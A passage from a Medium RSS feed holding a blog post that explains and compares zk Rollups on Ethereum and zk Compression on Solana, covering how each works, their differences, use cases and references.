built.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99aa3ce4f5bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Deep Dive into zk Rollups on Ethereum and zk Compression on Solana]]></title>
            <link>https://medium.com/@shibu0x/a-deep-dive-into-zk-rollups-on-ethereum-and-zk-compression-on-solana-268af5eeeb28?source=rss-31ed4741dc2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/268af5eeeb28</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[zkrollup]]></category>
            <category><![CDATA[crypto]]></category>
            <dc:creator><![CDATA[Shivendra Mishra]]></dc:creator>
            <pubDate>Wed, 03 Jul 2024 19:02:16 GMT</pubDate>
            <atom:updated>2024-07-03T19:02:16.732Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Blockchain technology has undergone significant transformations, striving to balance scalability, security, and decentralization. Two cutting-edge advancements in this field are zk Rollups on Ethereum and zk Compression on Solana. Both utilize zero-knowledge proofs to enhance performance, yet they cater to distinct architectures and use cases. This article explores these technologies in depth, comparing their functionalities, differences, and potential applications.</p><h3>ZK Rollups on Ethereum</h3><h4>What are zk Rollups?</h4><p>zk Rollups, short for Zero-Knowledge Rollups, are a layer 2 scaling solution designed to enhance Ethereum’s transaction throughput while maintaining high security standards. They use zero-knowledge proofs to validate transactions off-chain and then submit a compressed proof of these transactions to the Ethereum mainnet. This process significantly reduces the amount of data that needs to be processed on-chain, alleviating network congestion and lowering transaction fees.</p><h4>How Do They Work on the Ethereum Network?</h4><p>The operation of zk Rollups on the Ethereum network involves several key steps:</p><ol><li><strong>Transaction Aggregation</strong>: Multiple transactions are collected off-chain into a single batch.</li><li><strong>Proof Generation</strong>: A zero-knowledge proof (zk-SNARK or zk-STARK) is generated to validate the aggregated transactions without revealing the individual transaction details.</li><li><strong>Proof Submission</strong>: The proof, along with the new state root (a cryptographic summary of the new state of the ledger), is submitted to the Ethereum mainnet.</li><li><strong>On-Chain Verification</strong>: An Ethereum smart contract verifies the proof. If valid, the new state root is accepted, confirming the transactions.</li></ol><p>By aggregating transactions and using succinct proofs, zk Rollups can handle a higher volume of transactions more efficiently than the Ethereum mainnet alone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*Czl6xtCUYrEGHCLvAjRcwQ.jpeg" /></figure><h3>ZK Compression on Solana</h3><h4>What is ZK Compression?</h4><p>zk Compression is a scaling technique used on the Solana blockchain that employs zero-knowledge proofs to compress transaction data. This approach reduces the amount of data that needs to be stored on-chain, thereby improving the network’s efficiency and scalability.</p><h4>How Does It Function on the Solana Network?</h4><p>The functioning of zk Compression on Solana involves these steps:</p><ol><li><strong>Transaction Compression</strong>: Transactions are collected and compressed off-chain using zero-knowledge proofs.</li><li><strong>Proof Generation</strong>: A proof is created to attest to the validity of the compressed transactions.</li><li><strong>On-Chain Commitment</strong>: The proof and a compressed representation of the transactions are submitted to the Solana blockchain.</li><li><strong>Verification</strong>: The Solana network verifies the proof and updates the ledger with the compressed data.</li></ol><p>This method reduces storage requirements and increases transaction throughput, enhancing the network’s overall performance.</p><h3>Key Differences Between zk Rollups and zk Compression</h3><h3>Architecture</h3><ul><li><strong>zk Rollups (Ethereum)</strong>: Primarily a layer 2 solution, zk Rollups aggregate transactions off-chain and use zero-knowledge proofs to validate them before committing the proof on-chain. This reduces the computational load on the mainnet and improves scalability.</li><li><strong>zk Compression (Solana)</strong>: Focuses on reducing the data footprint of transactions on-chain, integrating tightly with Solana’s high-throughput architecture. This optimization leads to increased efficiency and storage reduction.</li></ul><h3>Transaction Throughput</h3><ul><li><strong>zk Rollups</strong>: Significantly increase transaction throughput by offloading transaction validation to an off-chain process. However, throughput is still constrained by the periodic need to submit proofs to the Ethereum mainnet.</li><li><strong>zk Compression</strong>: Benefits from Solana’s already high throughput and fast consensus mechanism. The primary advantage is the reduced on-chain storage requirement, leading to even higher efficiency.</li></ul><h3>Security and Decentralization</h3><ul><li><strong>zk Rollups</strong>: Leverage Ethereum’s robust security model. Zero-knowledge proofs ensure transaction validity without compromising security.</li><li><strong>zk Compression</strong>: Relies on zero-knowledge proofs for security, with overall security linked to Solana’s consensus mechanism. Solana’s speed and throughput come with different decentralization and security trade-offs compared to Ethereum.</li></ul><h3>Use Cases for zk Rollups and zk Compression</h3><h4>ZK Rollups on Ethereum</h4><ul><li><strong>DeFi Applications</strong>: Ideal for decentralized finance applications requiring high throughput and low costs.</li><li><strong>Gaming</strong>: Enhances gaming experiences by enabling faster and cheaper transactions for in-game assets.</li><li><strong>Payments</strong>: Facilitates microtransactions and payment services by reducing fees and increasing speed.</li></ul><h4>ZK Compression on Solana</h4><ul><li><strong>Data-Intensive Applications</strong>: Reduces storage costs and improves efficiency for applications generating large amounts of transaction data.</li><li><strong>IoT and Real-Time Data</strong>: Suitable for Internet of Things applications that need real-time data processing and storage.</li><li><strong>High-Frequency Trading</strong>: Supports financial applications requiring high-frequency trading with increased throughput and reduced latency.</li></ul><h3>Conclusion: Which Technology is More Promising?</h3><p>Both zk Rollups on Ethereum and zk Compression on Solana offer significant advancements in blockchain technology, yet they serve different needs and network architectures.</p><ul><li><strong>zk Rollups (Ethereum)</strong>: More promising for applications requiring robust security and decentralization. Ethereum’s well-established ecosystem and security model make zk Rollups suitable for DeFi, gaming, and other applications prioritizing security and trust.</li><li><strong>zk Compression (Solana)</strong>: Better suited for applications needing extremely high throughput and reduced storage costs. Solana’s fast consensus mechanism and high throughput make zk Compression ideal for data-intensive applications and real-time processing.</li></ul><p>Ultimately, the choice between these technologies depends on specific application requirements and the trade-offs between security, decentralization, and scalability. Both are poised to play crucial roles in the future of blockchain, each enhancing the capabilities of their respective networks.</p><h3>References</h3><ol><li>Ethereum Foundation. (n.d.). zk Rollups. Retrieved from <a href="https://ethereum.org/en/developers/docs/scaling/zk-rollups/">https://ethereum.org/en/developers/docs/scaling/zk-rollups/</a></li><li>Solana Foundation. (n.d.). zk Compression. Retrieved from <a href="https://solana.com/developers/zero-knowledge">https://solana.com/developers/zero-knowledge</a></li><li>Buterin, V. (2021). An Incomplete Guide to Rollups. Retrieved from <a href="https://vitalik.ca/general/2021/01/05/rollup.html">https://vitalik.ca/general/2021/01/05/rollup.html</a></li><li>Zero-Knowledge Proofs: An Overview. (2020). Retrieved from <a href="https://www.zkp.science/">https://www.zkp.science/</a></li><li>Antonopoulos, A. M., &amp; Wood, G. (2018). Mastering Ethereum: Building Smart Contracts and DApps. O’Reilly Media.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=268af5eeeb28" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>